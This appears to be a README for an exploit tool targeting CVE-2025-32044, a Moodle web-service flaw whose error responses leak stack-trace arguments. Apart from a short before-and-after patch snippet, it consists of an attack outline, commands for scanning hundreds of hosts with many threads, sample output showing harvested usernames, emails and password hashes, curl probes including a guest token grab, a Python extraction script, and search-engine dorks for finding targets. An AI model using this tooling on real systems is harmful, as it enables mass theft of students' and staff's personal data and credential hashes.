CVE-2025-32044

// lib/classes/router/response/exception_response.php (AVANT correctif)
protected static function get_payload_data(...): array {
    $data = [
        'message' => $exception->getMessage(),
        'stacktrace' => $exception->getTrace(),  // ← inclut 'args'!
    ];
    return $data;
}

// lib/classes/router/response/exception_response.php (APRÈS correctif)
'stacktrace' => array_map(
    fn ($frame): array => array_filter(
        $frame, fn ($key) => $key !== 'args', ARRAY_FILTER_USE_KEY
    ),
    $exception->getTrace(),
),

ini_set('zend.exception_ignore_args', '1');

1. Cibler Moodle 4.5.0-4.5.2 sans zend.exception_ignore_args
2. Envoyer une requête malformée à /webservice/rest/server.php
   (par ex., core_user_get_users_by_field avec des paramètres obligatoires manquants)
3. Exception interne déclenchée lors du traitement des données utilisateur
4. La réponse d'erreur de l'API inclut la trace de pile avec 'args'
5. Analyser args pour obtenir noms d'utilisateur, emails, hashs

git clone https://github.com/shinthink/CVE-2025-32044.git
cd CVE-2025-32044
pip install -r requirements.txt

# Scan d'une seule cible
python cve_2025_32044.py -t moodle.target.com

# Scan de masse
python cve_2025_32044.py -f moodle-targets.txt -o leaks.txt

# Scan de masse avec plus de threads
python cve_2025_32044.py -f moodle-targets.txt --threads 50 -o leaks.txt

# Mode débogage
python cve_2025_32044.py -t moodle.target.com --debug -v

  -t, --target      Single target (domain or IP)
  -f, --file        Target list, one per line
  -o, --output      Save leaked user data to file
  --threads         Concurrent workers (default: 30)
  --timeout         Request timeout in seconds (default: 10)
  --debug           Show every HTTP request
  -v, --verbose     Verbose output

$ python cve_2025_32044.py -t moodle-target.com

  Moodle Stack Trace Leak | CVE-2025-32044 | CVSS 7.5

  Host       : moodle-target.com
  Moodle     : YES v4.5.1
  WS Enabled : YES
  Token      : obtained (admin)

  ═══ DATA LEAKED ═══
    admin                | [email protected]
    jsmith               | [email protected]
    mjones               | [email protected]
  Emails: 3
  Hashes: 3
    $2y$10$abc123def456ghi789jkl012mno345pqr678stu901vwx234yz...
  Time       : 3.2s

  Moodle Stack Trace Leak | CVE-2025-32044 | CVSS 7.5
  Targets: 500  |  Threads: 30  |  Mode: QUIET

  [LEAK] moodle-vuln-01.ac.id          users=15 emails=12 hashes=15
  [WS]   moodle-patched-02.edu         token=admin
  [!]    moodle-no-ws-03.org
  [150/500] 30% | Det:87 WS:32 Tok:8 Leak:5

  ───────────────────────────────────────────────────────
  Done | 320s | Targets:500 Moodle:87 WS:32 Token:8 Leaked:5

# Vérifier si Moodle
curl -sk 'https://target.com/login/index.php' | grep -i moodle

# Vérifier les services web
curl -sk 'https://target.com/login/token.php?username=guest&password=guest&service=moodle_mobile_app'
# {"token":"abc..."} = WS activé + accès invité possible
# {"error":"Web services must be enabled..."} = WS désactivé

curl -sk 'https://target.com/login/token.php?username=USER&password=PASS&service=moodle_mobile_app'

curl -sk 'https://target.com/webservice/rest/server.php?wsfunction=core_user_get_users_by_field&moodlewsrestformat=json&field=id'
# La réponse contiendra la trace de pile avec args si vulnérable

import json, requests
r = requests.get('https://target.com/webservice/rest/server.php', params={
    'wsfunction': 'core_user_get_users_by_field',
    'moodlewsrestformat': 'json',
    'field': 'id'
})
data = r.json()
for frame in data.get('stacktrace', []):
    for arg in frame.get('args', []):
        if isinstance(arg, dict) and 'username' in arg:
            print(f"User: {arg['username']} | {arg.get('email')} | {arg.get('fullname')}")

FOFA:   body="moodle" && body="login/token.php"
Shodan: http.title:"Moodle" http.component:"Moodle"
Google: intitle:"Moodle" inurl:"login/token.php"